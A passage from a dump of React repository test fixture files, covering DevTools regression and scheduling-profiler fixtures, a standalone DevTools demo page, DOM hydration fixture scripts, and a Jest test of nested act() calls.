<div>locale: {locale}</div>}\n              </LocaleContext.Consumer>\n            </LocaleContext.Provider>\n          </Feature>\n        );\n\n        // forwardRef()\n        const AnonymousFunction = React.forwardRef((props, ref) => (\n          <div ref={ref}>{props.children}</div>\n        ));\n        const NamedFunction = React.forwardRef(function named(props, ref) {\n          return <div ref={ref}>{props.children}</div>;\n        });\n        const CustomName = React.forwardRef((props, ref) => (\n          <div ref={ref}>{props.children}</div>\n        ));\n        CustomName.displayName = 'CustomNameForwardRef';\n        apps.push(\n          <Feature key=\"forwardRef\" label=\"forwardRef\" version=\"16.3+\">\n            <AnonymousFunction>AnonymousFunction</AnonymousFunction>\n            <NamedFunction>NamedFunction</NamedFunction>\n            <CustomName>CustomName</CustomName>\n          </Feature>\n        );\n\n        // StrictMode\n        class StrictModeChild extends React.Component {\n          render() {\n            return 'StrictModeChild';\n          }\n        }\n        apps.push(\n          <Feature key=\"StrictMode\" label=\"StrictMode\" version=\"16.3+\">\n            <React.StrictMode>\n              <StrictModeChild />\n            </React.StrictMode>\n          </Feature>\n        );\n\n        // unstable_AsyncMode (later renamed to unstable_ConcurrentMode, then ConcurrentMode)\n        const ConcurrentMode =\n          React.ConcurrentMode ||\n          React.unstable_ConcurrentMode ||\n          React.unstable_AsyncMode;\n        apps.push(\n          <Feature\n            key=\"AsyncMode/ConcurrentMode\"\n            label=\"AsyncMode/ConcurrentMode\"\n            version=\"16.3+\">\n            <ConcurrentMode>\n              <div>\n                unstable_AsyncMode was added in 16.3, renamed to\n                unstable_ConcurrentMode in 16.5, and then renamed to\n                ConcurrentMode in 16.7\n              </div>\n            </ConcurrentMode>\n          </Feature>\n        );\n      case 2:\n        // Fragment\n        apps.push(\n          <Feature key=\"Fragment\" label=\"Fragment\" version=\"16.4+\">\n            <React.Fragment>\n              <div>one</div>\n              <div>two</div>\n            </React.Fragment>\n          </Feature>\n        );\n      case 1:\n      case 0:\n      default:\n        break;\n    }\n    break;\n  case 15:\n    break;\n  case 14:\n    break;\n  default:\n    break;\n}\n\nfunction Even() {\n  return <small>(even)</small>;\n}\n\n// Simple stateful app shared by all React versions\nclass SimpleApp extends React.Component {\n  state = {count: 0};\n  incrementCount = () => {\n    const updaterFn = prevState => ({count: prevState.count + 1});\n    trace('Updating count', performance.now(), () => this.setState(updaterFn));\n  };\n  render() {\n    const {count} = this.state;\n    return (\n      <div>\n        {count % 2 === 0 ? (\n          <span>\n            count: {count} <Even />\n          </span>\n        ) : (\n          <span>count: {count}</span>\n        )}{' '}\n        <button onClick={this.incrementCount}>increment</button>\n      </div>\n    );\n  }\n}\napps.push(\n  <Feature key=\"Simple stateful app\" label=\"Simple stateful app\" version=\"any\">\n    <SimpleApp />\n  </Feature>\n);\n\n// This component, with the version prop, helps organize DevTools at a glance.\nfunction TopLevelWrapperForDevTools({version}) {\n  let header = <h1>React {version}</h1>;\n  if (version.includes('canary')) {\n    const commitSha = version.match(/.+canary-(.+)/)[1];\n    header = (\n      <h1>\n        React canary{' '}\n        <a href={`https://github.com/facebook/react/commit/${commitSha}`}>\n          {commitSha}\n        </a>\n      </h1>\n    );\n  } else if (version.includes('alpha')) {\n    header = <h1>React next</h1>;\n  }\n\n  return (\n    <div>\n      {header}\n      {apps}\n    </div>\n  );\n}\nTopLevelWrapperForDevTools.displayName = 'React';\n\nReactDOM.render(\n  <TopLevelWrapperForDevTools version={React.version} />,\n  document.getElementById('root')\n);\n"
  },
  {
    "path": "fixtures/devtools/regression/styles.css",
    "content": "body {\n  font-family: sans-serif;\n  font-size: 12px;\n}\n\nh1 {\n  margin: 0;\n  font-size: 20px;\n}\n\nh2 {\n  margin: 1rem 0 0;\n}\n\niframe {\n  border: 1px solid #ddd;\n  border-radius: 0.5rem;\n}\n\ncode {\n  white-space: nowrap;\n}\n\n.Feature {\n  margin: 1rem 0;\n  border-bottom: 1px solid #eee;\n  padding-bottom: 1rem;\n}\n.FeatureHeader {\n  font-size: 16px;\n  margin-bottom: 0.5rem;\n}\n.FeatureCode {\n  background-color: #eee;\n  padding: 0.25rem;\n  border-radius: 0.25rem;\n}\n"
  },
  {
    "path": "fixtures/devtools/scheduling-profiler/.gitignore",
    "content": "dependencies\n"
  },
  {
    "path": "fixtures/devtools/scheduling-profiler/README.md",
    "content": "# Test fixture for `packages/react-devtools-scheduling-profiler`\n\n1. First, run the fixture:\n```sh\n# In the root directory\n# Download the latest *experimental* React build\nscripts/release/download-experimental-build.js\n\n# Run this fixtures\nfixtures/devtools/scheduling-profiler/run.js\n```\n\n2. Then open [localhost:8000/](http://localhost:8000/) and use the Performance tab in Chrome to reload-and-profile.\n3. Now stop profiling and export JSON.\n4. Lastly, open [react-scheduling-profiler.vercel.app](https://react-scheduling-profiler.vercel.app/) and upload the performance JSON data you just recorded."
  },
  {
    "path": "fixtures/devtools/scheduling-profiler/app.js",
    "content": "const {createElement, useLayoutEffect, useState} = React;\nconst {createRoot} = ReactDOM;\n\nfunction App() {\n  const [isMounted, setIsMounted] = useState(false);\n  useLayoutEffect(() => {\n    setIsMounted(true);\n  }, []);\n  return createElement('div', null, `isMounted? ${isMounted}`);\n}\n\nconst container = document.getElementById('container');\nconst root = createRoot(container);\nroot.render(createElement(App));\n"
  },
  {
    "path": "fixtures/devtools/scheduling-profiler/index.html",
    "content": "<!DOCTYPE html>\n<html>\n  <head>\n    <title>Scheduling Profiler Fixture</title>\n\n    <script src=\"./scheduler.js\"></script>\n    <script src=\"./react.js\"></script>\n    <script src=\"./react-dom.js\"></script>\n  </head>\n  <body>\n    <div id=\"container\"></div>\n    <script src=\"./app.js\"></script>\n  </body>\n</html>"
  },
  {
    "path": "fixtures/devtools/scheduling-profiler/run.js",
    "content": "#!/usr/bin/env node\n\n'use strict';\n\nconst {\n  copyFileSync,\n  existsSync,\n  mkdirSync,\n  readFileSync,\n  rmdirSync,\n} = require('fs');\nconst {join} = require('path');\nconst http = require('http');\n\nconst DEPENDENCIES = [\n  ['scheduler/umd/scheduler.development.js', 'scheduler.js'],\n  ['react/umd/react.development.js', 'react.js'],\n  ['react-dom/umd/react-dom.development.js', 'react-dom.js'],\n];\n\nconst BUILD_DIRECTORY = '../../../build/oss-experimental/';\nconst DEPENDENCIES_DIRECTORY = 'dependencies';\n\nfunction initDependencies() {\n  if (existsSync(DEPENDENCIES_DIRECTORY)) {\n    rmdirSync(DEPENDENCIES_DIRECTORY, {recursive: true});\n  }\n  mkdirSync(DEPENDENCIES_DIRECTORY);\n\n  DEPENDENCIES.forEach(([from, to]) => {\n    const fromPath = join(__dirname, BUILD_DIRECTORY, from);\n    const toPath = join(__dirname, DEPENDENCIES_DIRECTORY, to);\n    console.log(`Copying ${fromPath} => ${toPath}`);\n    copyFileSync(fromPath, toPath);\n  });\n}\n\nfunction initServer() {\n  const host = 'localhost';\n  const port = 8000;\n\n  const requestListener = function (request, response) {\n    let contents;\n    switch (request.url) {\n      case '/react.js':\n      case '/react-dom.js':\n      case '/scheduler.js':\n        response.setHeader('Content-Type', 'text/javascript');\n        response.writeHead(200);\n        contents = readFileSync(\n          join(__dirname, DEPENDENCIES_DIRECTORY, request.url)\n        );\n        response.end(contents);\n        break;\n      case '/app.js':\n        response.setHeader('Content-Type', 'text/javascript');\n        response.writeHead(200);\n        contents = readFileSync(join(__dirname, 'app.js'));\n        response.end(contents);\n        break;\n      case '/index.html':\n      default:\n        response.setHeader('Content-Type', 'text/html');\n        response.writeHead(200);\n        contents = readFileSync(join(__dirname, 'index.html'));\n        response.end(contents);\n        break;\n    }\n  };\n\n  const server = http.createServer(requestListener);\n  server.listen(port, host, () => {\n    console.log(`Server is running on http://${host}:${port}`);\n  });\n}\n\ninitDependencies();\ninitServer();\n"
  },
  {
    "path": "fixtures/devtools/standalone/index.html",
    "content": "<!DOCTYPE html>\n<html>\n  <head>\n    <meta charset=\"UTF-8\" />\n    <title>TODO List</title>\n\n    <!-- DevTools -->\n    <script src=\"http://localhost:8097\"></script>\n\n    <script src=\"https://unpkg.com/react@16/umd/react.development.js\"></script>\n    <script src=\"https://unpkg.com/react-dom@16/umd/react-dom.development.js\"></script>\n    <script src=\"https://unpkg.com/immutable@4.0.0-rc.12/dist/immutable.js\"></script>\n\n    <!-- Don't use this in production: -->\n    <script src=\"https://unpkg.com/babel-standalone@6.15.0/babel.min.js\"></script>\n\n    <style type=\"text/css\">\n      .Input {\n        font-size: 1rem;\n        padding: 0.25rem;\n      }\n\n      .IconButton {\n        padding: 0.25rem;\n        border: none;\n        background: none;\n        cursor: pointer;\n      }\n\n      .List {\n        margin: 0.5rem 0 0;\n        padding: 0;\n      }\n\n      .ListItem {\n        list-style-type: none;\n      }\n\n      .Label {\n        cursor: pointer;\n        padding: 0.25rem;\n        color: #555;\n      }\n      .Label:hover {\n        color: #000;\n      }\n\n      .IconButton {\n        padding: 0.25rem;\n        border: none;\n        background: none;\n        cursor: pointer;\n      }\n    </style>\n  </head>\n  <body>\n    <div id=\"root\"></div>\n    <script type=\"text/babel\">\n      const { Fragment, useCallback, useState } = React;\n\n      function List(props) {\n        const [newItemText, setNewItemText] = useState(\"\");\n        const [items, setItems] = useState([\n          { id: 1, isComplete: true, text: \"First\" },\n          { id: 2, isComplete: true, text: \"Second\" },\n          { id: 3, isComplete: false, text: \"Third\" }\n        ]);\n        const [uid, setUID] = useState(4);\n\n        const handleClick = useCallback(() => {\n          if (newItemText !== \"\") {\n            setItems([\n              ...items,\n              {\n                id: uid,\n                isComplete: false,\n                text: newItemText\n              }\n            ]);\n            setUID(uid + 1);\n            setNewItemText(\"\");\n          }\n        }, [newItemText, items, uid]);\n\n        const handleKeyPress = useCallback(\n          event => {\n            if (event.key === \"Enter\") {\n              handleClick();\n            }\n          },\n          [handleClick]\n        );\n\n        const handleChange = useCallback(\n          event => {\n            setNewItemText(event.currentTarget.value);\n          },\n          [setNewItemText]\n        );\n\n        const removeItem = useCallback(\n          itemToRemove => setItems(items.filter(item => item !== itemToRemove)),\n          [items]\n        );\n\n        const toggleItem = useCallback(\n          itemToToggle => {\n            const index = items.indexOf(itemToToggle);\n\n            setItems(\n              items\n                .slice(0, index)\n                .concat({\n                  ...itemToToggle,\n                  isComplete: !itemToToggle.isComplete\n                })\n                .concat(items.slice(index + 1))\n            );\n          },\n          [items]\n        );\n\n        return (\n          <Fragment>\n            <h1>List</h1>\n            <input\n              type=\"text\"\n              placeholder=\"New list item...\"\n              className=\"Input\"\n              value={newItemText}\n              onChange={handleChange}\n              onKeyPress={handleKeyPress}\n            />\n            <button\n              className=\"IconButton\"\n              disabled={newItemText === \"\"}\n              onClick={handleClick}\n            >\n              <span role=\"img\" aria-label=\"Add item\">\n                ➕\n              </span>\n            </button>\n            <ul className=\"List\">\n              {items.map(item => (\n                <ListItem\n                  key={item.id}\n                  item={item}\n                  removeItem={removeItem}\n                  toggleItem={toggleItem}\n                />\n              ))}\n            </ul>\n          </Fragment>\n        );\n      }\n\n      function ListItem({ item, removeItem, toggleItem }) {\n        const handleDelete = useCallback(() => {\n          removeItem(item);\n        }, [item, removeItem]);\n\n        const handleToggle = useCallback(() => {\n          toggleItem(item);\n        }, [item, toggleItem]);\n\n        return (\n          <li className=\"ListItem\">\n            <button className=\"IconButton\" onClick={handleDelete}>\n              🗑\n            </button>\n            <label className=\"Label\">\n              <input\n                className=\"Input\"\n                checked={item.isComplete}\n                onChange={handleToggle}\n                type=\"checkbox\"\n              />{\" \"}\n              {item.text}\n            </label>\n          </li>\n        );\n      }\n\n      function SimpleValues() {\n        return (\n          <ChildComponent\n            string=\"abc\"\n            emptyString=\"\"\n            number={123}\n            undefined={undefined}\n            null={null}\n            nan={NaN}\n            infinity={Infinity}\n            true={true}\n            false={false}\n          />\n        );\n      }\n\n      class Custom {\n        _number = 42;\n        get number() {\n          return this._number;\n        }\n      }\n\n      function CustomObject() {\n        return <ChildComponent customObject={new Custom()} />;\n      }\n\n      const baseInheritedKeys = Object.create(Object.prototype, {\n      enumerableStringBase: {\n        value: 1,\n        writable: true,\n        enumerable: true,\n        configurable: true,\n      },\n      [Symbol('enumerableSymbolBase')]: {\n        value: 1,\n        writable: true,\n        enumerable: true,\n        configurable: true,\n      },\n      nonEnumerableStringBase: {\n        value: 1,\n        writable: true,\n        enumerable: false,\n        configurable: true,\n      },\n      [Symbol('nonEnumerableSymbolBase')]: {\n        value: 1,\n        writable: true,\n        enumerable: false,\n        configurable: true,\n      },\n    });\n\n    const inheritedKeys = Object.create(baseInheritedKeys, {\n      enumerableString: {\n        value: 2,\n        writable: true,\n        enumerable: true,\n        configurable: true,\n      },\n      nonEnumerableString: {\n        value: 3,\n        writable: true,\n        enumerable: false,\n        configurable: true,\n      },\n      123: {\n        value: 3,\n        writable: true,\n        enumerable: true,\n        configurable: true,\n      },\n      [Symbol('nonEnumerableSymbol')]: {\n        value: 2,\n        writable: true,\n        enumerable: false,\n        configurable: true,\n      },\n      [Symbol('enumerableSymbol')]: {\n        value: 3,\n        writable: true,\n        enumerable: true,\n        configurable: true,\n      },\n      });\n\n      function InheritedKeys() {\n        return <ChildComponent data={inheritedKeys} />;\n      }\n\n      const object = {\n        string: \"abc\",\n        longString: \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKJLMNOPQRSTUVWXYZ1234567890\",\n        emptyString: \"\",\n        number: 123,\n        boolean: true,\n        undefined: undefined,\n        null: null\n      };\n\n      function ObjectProps() {\n        return (\n          <ChildComponent\n            object={{\n              outer: {\n                inner: object\n              }\n            }}\n            array={[\"first\", \"second\", \"third\"]}\n            objectInArray={[object]}\n            arrayInObject={{ array: [\"first\", \"second\", \"third\"] }}\n            deepObject={{\n              // Known limitation: we won't go deeper than several levels.\n              // In the future, we might offer a way to request deeper access on demand.\n              a: {\n                b: {\n                  c: {\n                    d: {\n                      e: {\n                        f: {\n                          g: {\n                            h: {\n                              i: {\n                                j: 10\n                              }\n                            }\n                          }\n                        }\n                      }\n                    }\n                  }\n                }\n              }\n            }}\n          />\n        );\n      }\n\n      const set = new Set(['abc', 123]);\n      const map = new Map([['name', 'Brian'], ['food', 'sushi']]);\n      const setOfSets = new Set([new Set(['a', 'b', 'c']), new Set([1, 2, 3])]);\n      const mapOfMaps = new Map([['first', map], ['second', map]]);\n      const typedArray = Int8Array.from([100, -100, 0]);\n      const immutable = Immutable.fromJS({\n        a: [{ hello: 'there' }, 'fixed', true],\n        b: 123,\n        c: {\n          '1': 'xyz',\n          xyz: 1,\n        },\n      });\n\n      class Foo {\n        flag = false;\n        object = {a: {b: {c: {d: 1}}}}\n      }\n\n      function UnserializableProps() {\n        return (\n          <ChildComponent\n            map={map}\n            set={set}\n            mapOfMaps={mapOfMaps}\n            setOfSets={setOfSets}\n            typedArray={typedArray}\n            immutable={immutable}\n            classInstance={new Foo()}\n          />\n        );\n      }\n\n      function ChildComponent(props: any) {\n        return null;\n      }\n\n      function InspectableElements() {\n        return (\n          <Fragment>\n            <SimpleValues />\n            <ObjectProps />\n            <UnserializableProps />\n            <CustomObject />\n            <InheritedKeys />\n          </Fragment>\n        );\n      }\n\n      function App() {\n        return (\n          <Fragment>\n            <List />\n            <InspectableElements />\n          </Fragment>\n        );\n      }\n\n      ReactDOM.render(<App />, document.getElementById(\"root\"));\n    </script>\n  </body>\n</html>\n"
  },
  {
    "path": "fixtures/dom/.gitignore",
    "content": "# See http://help.github.com/ignore-files/ for more about ignoring files.\n\n# dependencies\nnode_modules\n\n# testing\ncoverage\n\n# production\nbuild\npublic/scheduler-unstable_mock.development.js\npublic/scheduler-unstable_mock.production.min.js\npublic/react.development.js\npublic/react.production.min.js\npublic/react-dom.development.js\npublic/react-dom.production.min.js\npublic/react-dom-server.browser.development.js\npublic/react-dom-server.browser.production.min.js\npublic/react-dom-test-utils.development.js\npublic/react-dom-test-utils.production.min.js\n\n# misc\n.DS_Store\n.env\nnpm-debug.log\n"
  },
  {
    "path": "fixtures/dom/README.md",
    "content": "# DOM Fixtures\n\nA set of DOM test cases for quickly identifying browser issues.\n\n## Setup\n\nTo reference a local build of React, first run `yarn build` at the root\nof the React project. Then:\n\n```\ncd fixtures/dom\nyarn\nyarn dev\n```\n\nThe `dev` command runs a script that copies over the local build of react into\nthe public directory.\n"
  },
  {
    "path": "fixtures/dom/package.json",
    "content": "{\n  \"name\": \"react-fixtures\",\n  \"version\": \"0.1.0\",\n  \"private\": true,\n  \"devDependencies\": {\n    \"react-scripts\": \"^1.0.11\"\n  },\n  \"dependencies\": {\n    \"@babel/standalone\": \"^7.0.0\",\n    \"art\": \"^0.10.3\",\n    \"classnames\": \"^2.2.5\",\n    \"codemirror\": \"^5.40.0\",\n    \"core-js\": \"^2.4.1\",\n    \"jest-diff\": \"^29.4.1\",\n    \"prop-types\": \"^15.6.0\",\n    \"query-string\": \"^4.2.3\",\n    \"react\": \"^19.0.0\",\n    \"react-dom\": \"^19.0.0\",\n    \"semver\": \"^5.5.0\"\n  },\n  \"scripts\": {\n    \"dev\": \"react-scripts start\",\n    \"predev\": \"cp -a ../../build/oss-experimental/. node_modules\",\n    \"build\": \"react-scripts build && cp build/index.html build/200.html\",\n    \"test\": \"react-scripts test --env=jsdom\",\n    \"eject\": \"react-scripts eject\"\n  }\n}\n"
  },
  {
    "path": "fixtures/dom/public/act-dom.html",
    "content": "<!DOCTYPE html>\n<html>\n  <head>\n    <title>sanity test for ReactTestUtils.act</title>\n  </head>\n  <body>\n    this page tests whether act runs properly in a browser.\n    <br />\n    your console should say \"5\"\n    <script src=\"scheduler-unstable_mock.development.js\"></script>\n    <script src=\"react.development.js\"></script>\n    <script type=\"text/javascript\">\n      window.React.__CLIENT_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE.Scheduler =\n        window.SchedulerMock;\n    </script>\n    <script src=\"react-dom.development.js\"></script>\n    <script src=\"react-dom-test-utils.development.js\"></script>\n    <script>\n      // from ReactTestUtilsAct-test.js\n      function App() {\n        let [state, setState] = React.useState(0);\n        async function ticker() {\n          await null;\n          setState(x => x + 1);\n        }\n        React.useEffect(() => {\n          ticker();\n        }, [Math.min(state, 4)]);\n        return state;\n      }\n\n      async function testAsyncAct() {\n        const el = document.createElement(\"div\");\n        await ReactTestUtils.act(async () => {\n          ReactDOM.render(React.createElement(App), el);\n        });\n        // all 5 ticks present and accounted for\n        console.log(el.innerHTML);\n      }\n\n      testAsyncAct();\n    </script>\n  </body>\n</html>\n"
  },
  {
    "path": "fixtures/dom/public/index.html",
    "content": "<!doctype html>\n<html lang=\"en\">\n  <head>\n    <meta charset=\"utf-8\">\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">\n    <link rel=\"shortcut icon\" href=\"%PUBLIC_URL%/favicon.ico\">\n    <!--\n      Notice the use of %PUBLIC_URL% in the tag above.\n      It will be replaced with the URL of the `public` folder during the build.\n      Only files inside the `public` folder can be referenced from the HTML.\n\n      Unlike \"/favicon.ico\" or \"favicon.ico\", \"%PUBLIC_URL%/favicon.ico\" will\n      work correctly both with client-side routing and a non-root public URL.\n      Learn how to configure a non-root public URL by running `npm run build`.\n    -->\n    <title>React App</title>\n    <script src=\"https://unpkg.com/prop-types@15.5.6/prop-types.js\"></script>\n    <script src=\"https://unpkg.com/expect@1.20.2/umd/expect.min.js\"></script>\n  </head>\n  <body>\n    <div id=\"root\"></div>\n    <!--\n      This HTML file is a template.\n      If you open it directly in the browser, you will see an empty page.\n\n      You can add webfonts, meta tags, or analytics to this file.\n      The build step will place the bundled scripts into the <body> tag.\n\n      To begin the development, run `npm start`.\n      To create a production bundle, use `npm run build`.\n    -->\n  </body>\n</html>\n"
  },
  {
    "path": "fixtures/dom/public/renderer.html",
    "content": "<!doctype html>\n<html lang=\"en\">\n  <head>\n    <meta charset=\"utf-8\">\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">\n    <title>Renderer</title>\n    <style>\n      *,\n      *:before,\n      *:after {\n        box-sizing: border-box;\n      }\n\n      html,\n      body {\n        font-family: sans-serif;\n        margin: 0;\n        height: 100%;\n      }\n\n      body {\n        padding-top: 32px;\n      }\n\n      #status {\n        font-size: 12px;\n        left: 8px;\n        letter-spacing: 0.05em;\n        line-height: 16px;\n        margin: -8px 0 0;\n        max-width: 50%;\n        overflow: hidden;\n        position: absolute;\n        text-align: left;\n        text-overflow: ellipsis;\n        top: 50%;\n        white-space: nowrap;\n        width: 100%;\n      }\n\n      #output {\n        margin: 16px;\n      }\n\n      .header {\n        background: white;\n        border-bottom: 1px solid #d9d9d9;\n        padding: 4px;\n        top: 0;\n        left: 0;\n        position: fixed;\n        width: 100%;\n        text-align: right;\n      }\n\n      .controls {\n        display: inline-block;\n        margin: 0;\n      }\n\n      .button {\n        background: #eee;\n        border-radius: 2px;\n        border: 1px solid #aaa;\n        font-size: 11px;\n        padding: 4px 6px;\n        text-transform: uppercase;\n      }\n    </style>\n  </head>\n  <body>\n    <header class=\"header\">\n      <p id=\"status\">Loading</p>\n\n      <menu class=\"controls\">\n        <button class=\"button\" id=\"hydrate\">Hydrate</button>\n        <button class=\"button\" id=\"reload\">Reload</button>\n      </menu>\n    </header>\n\n    <div id=\"output\"></div>\n\n    <script src=\"https://cdnjs.cloudflare.com/polyfill/v2/polyfill.min.js\"></script>\n    <script src=\"renderer.js\"></script>\n  </body>\n</html>\n"
  },
  {
    "path": "fixtures/dom/public/renderer.js",
    "content": "/**\n * Supports render.html, a piece of the hydration fixture. See /hydration\n */\n\n'use strict';\n\n(function () {\n  var Fixture = null;\n  var output = document.getElementById('output');\n  var status = document.getElementById('status');\n  var hydrate = document.getElementById('hydrate');\n  var reload = document.getElementById('reload');\n  var renders = 0;\n  var failed = false;\n\n  var needsReactDOM = getBooleanQueryParam('needsReactDOM');\n  var needsCreateElement = getBooleanQueryParam('needsCreateElement');\n\n  function unmountComponent(node) {\n    // ReactDOM was moved into a separate package in 0.14\n    if (needsReactDOM) {\n      ReactDOM.unmountComponentAtNode(node);\n    } else if (React.unmountComponentAtNode) {\n      React.unmountComponentAtNode(node);\n    } else {\n      // Unmounting for React 0.4 and lower\n      React.unmountAndReleaseReactRootNode(node);\n    }\n  }\n\n  function createElement(value) {\n    // React.createElement replaced function invocation in 0.12\n    if (needsCreateElement) {\n      return React.createElement(value);\n    } else {\n      return value();\n    }\n  }\n\n  function getQueryParam(key) {\n    var pattern = new RegExp(key + '=([^&]+)(&|$)');\n    var matches = window.location.search.match(pattern);\n\n    if (matches) {\n      return decodeURIComponent(matches[1]);\n    }\n\n    handleError(new Error('No key found for' + key));\n  }\n\n  function getBooleanQueryParam(key) {\n    return getQueryParam(key) === 'true';\n  }\n\n  function setStatus(label) {\n    status.innerHTML = label;\n  }\n\n  function prerender() {\n    setStatus('Generating markup');\n\n    return Promise.resolve()\n      .then(function () {\n        const element = createElement(Fixture);\n\n        // Server rendering moved to a separate package along with ReactDOM\n        // in 0.14.0\n        if (needsReactDOM) {\n          return ReactDOMServer.renderToString(element);\n        }\n\n        // React.renderComponentToString was renamed in 0.12\n        if (React.renderToString) {\n          return React.renderToString(element);\n        }\n\n        // React.renderComponentToString became synchronous in React 0.9.0\n        if (React.renderComponentToString.length === 1) {\n          return React.renderComponentToString(element);\n        }\n\n        // Finally, React 0.4 and lower emits markup in a callback\n        return new Promise(function (resolve) {\n          React.renderComponentToString(element, resolve);\n        });\n      })\n      .then(function (string) {\n        output.innerHTML = string;\n        setStatus('Markup only (No React)');\n      })\n      .catch(handleError);\n  }\n\n  function render() {\n    setStatus('Hydrating');\n\n    var element = createElement(Fixture);\n\n    // ReactDOM was split out into another package in 0.14\n    if (needsReactDOM) {\n      // Hydration changed to a separate method in React 16\n      if (ReactDOM.hydrate) {\n        ReactDOM.hydrate(element, output);\n      } else {\n        ReactDOM.render(element, output);\n      }\n    } else if (React.render) {\n      // React.renderComponent was renamed in 0.12\n      React.render(element, output);\n    } else {\n      React.renderComponent(element, output);\n    }\n\n    setStatus(renders > 0 ? 'Re-rendered (' + renders + 'x)' : 'Hydrated');\n    renders += 1;\n    hydrate.innerHTML = 'Re-render';\n  }\n\n  function handleError(error) {\n    console.log(error);\n    failed = true;\n    setStatus('Javascript Error');\n    output.innerHTML = error;\n  }\n\n  function loadScript(src) {\n    return new Promise(function (resolve, reject) {\n      var script = document.createElement('script');\n      script.async = true;\n      script.src = src;\n\n      script.onload = resolve;\n      script.onerror = function (error) {\n        reject(new Error('Unable to load ' + src));\n      };\n\n      document.body.appendChild(script);\n    });\n  }\n\n  function injectFixture(src) {\n    Fixture = new Function(src + '\\nreturn Fixture;')();\n\n    if (typeof Fixture === 'undefined') {\n      setStatus('Failed');\n      output.innerHTML = 'Please name your root component \"Fixture\"';\n    } else {\n      prerender().then(function () {\n        if (getBooleanQueryParam('hydrate')) {\n          render();\n        }\n      });\n    }\n  }\n\n  function reloadFixture(code) {\n    renders = 0;\n    unmountComponent(output);\n    injectFixture(code);\n  }\n\n  window.onerror = handleError;\n\n  reload.onclick = function () {\n    window.location.reload();\n  };\n\n  hydrate.onclick = render;\n\n  loadScript(getQueryParam('reactPath'))\n    .then(function () {\n      if (needsReactDOM) {\n        return Promise.all([\n          loadScript(getQueryParam('reactDOMPath')),\n          loadScript(getQueryParam('reactDOMServerPath')),\n        ]);\n      }\n    })\n    .then(function () {\n      if (failed) {\n        return;\n      }\n\n      window.addEventListener('message', function (event) {\n        var data = JSON.parse(event.data);\n\n        switch (data.type) {\n          case 'code':\n            reloadFixture(data.payload);\n            break;\n          default:\n            throw new Error(\n              'Renderer Error: Unrecognized message \"' + data.type + '\"'\n            );\n        }\n      });\n\n      window.parent.postMessage(JSON.stringify({type: 'ready'}), '*');\n    })\n    .catch(handleError);\n})();\n"
  },
  {
    "path": "fixtures/dom/src/__tests__/nested-act-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\nlet React;\nlet DOMAct;\nlet TestRenderer;\nlet TestAct;\n\nglobal.__DEV__ = process.env.NODE_ENV !== 'production';\n\ndescribe('unmocked scheduler', () => {\n  beforeEach(() => {\n    jest.resetModules();\n    React = require('react');\n    DOMAct = React.act;\n    TestRenderer = require('react-test-renderer');\n    TestAct = TestRenderer.act;\n  });\n\n  it('flushes work only outside the outermost act() corresponding to its own renderer', () => {\n    let log = [];\n    function Effecty() {\n      React.useEffect(() => {\n        log.push('called');\n      }, []);\n      return null;\n    }\n    // in legacy mode, this tests whether an act only flushes its own effects\n    TestAct(() => {\n      DOMAct(() => {\n        TestRenderer.create(<Effecty />);\n      });\n      expect(log).toEqual([]);\n    });\n    expect(log).toEqual(['called']);\n\n    log = [];\n    // for doublechecking, we flip it inside out, and assert on the outermost\n    DOMAct(() => {\n      TestAct(() => {\n        TestRenderer.create(<Effecty />);\n      });\n      expect(log).toEqual([]);\n    });\n    expect(log).toEqual(['called']);\n  });\n});\n\ndescribe('mocked scheduler', () => {\n  beforeEach(() => {\n    jest.resetModules();\n    jest.mock('scheduler', () =>\n      require.requireActual('scheduler/unstable_mock')\n    );\n    React = require('react');\n    DOMAct = React.act;\n    TestRenderer = require('react-test-renderer');\n    TestAct = TestRenderer.act;\n  });\n\n  afterEach(() => {\n    jest.unmock('scheduler');\n  });\n\n  it('flushes work only outside the outermost act()', () => {\n    let log = [];\n    function Effecty() {\n      React.useEffect(() => {\n        log.push('called');\n      }, []);\n      return null;\n    }\n    // with a mocked scheduler, this tests whether it flushes all work only on the outermost act\n    TestAct(() => {\n      DOMAct(() => {\n        TestRenderer.create(<Effecty />);\n      });\n      expect(log).toEqual([]);\n    });\n    expect(log).toEqual(['called']);\n\n    log = [];\n    // for doublechecking, we flip it inside out, and assert on the outermost\n    DOMAct(() => {\n      TestAct(() => {\n        TestRenderer.create(<Effecty />);\n      });\n      expect(log).toEqual([]);\n    });\n    expect(log).toEqual(['called']);\n  });\n});\n"
  },
  {
    "path": "fixtures/dom/src/components/App.js",
    "content": "import Header from './Header';\nimport Fixtures from './fixtures';\nimport '../style.css';\n\nconst React = window.React;\n\nclass App extends React.Component {\n  render() {\n    return (\n      <div>\n        <Header />\n        <Fixtures />\n      </div>\n    );\n  }\n}\n\nexport default App;\n"
  },
  {
    "path": "fixtures/dom/src/components/Fixture.js",
    "content": "import PropTypes from 'prop-types';\nconst React = window.React;\n\nconst propTypes = {\n  children: PropTypes.node.isRequired,\n};\n\nclass Fixture extends React.Component {\n  render() {\n    const {children} = this.props;\n\n    return <div className=\"test-fixture\">{children}</div>;\n  }\n}\n\nFixture.propTypes = propTypes;\n\nexport default Fixture;\n\nFixture.Controls = function FixtureControls({children}) {\n  return <div className=\"test-fixture__controls\">{children}</div>;\n};\n"
  },
  {
    "path": "fixtures/dom/src/components/FixtureSet.js",
    "content": "import PropTypes from 'prop-types';\nconst React = window.React;\n\nconst propTypes = {\n  title: PropTypes.node.isRequired,\n  description: PropTypes.node,\n};\n\nclass FixtureSet extends React.Component {\n  render() {\n    const {title, description, children} = this.props;\n\n    return (\n      <div className=\"container\">\n        <h1>{title}</h1>\n        {description && <p>{description}</p>}\n\n        {children}\n      </div>\n    );\n  }\n}\n\nFixtureSet.propTypes = propTypes;\n\nexport default FixtureSet;\n"
  },
  {
    "path": "fixtures/dom/src/components/Header.js",
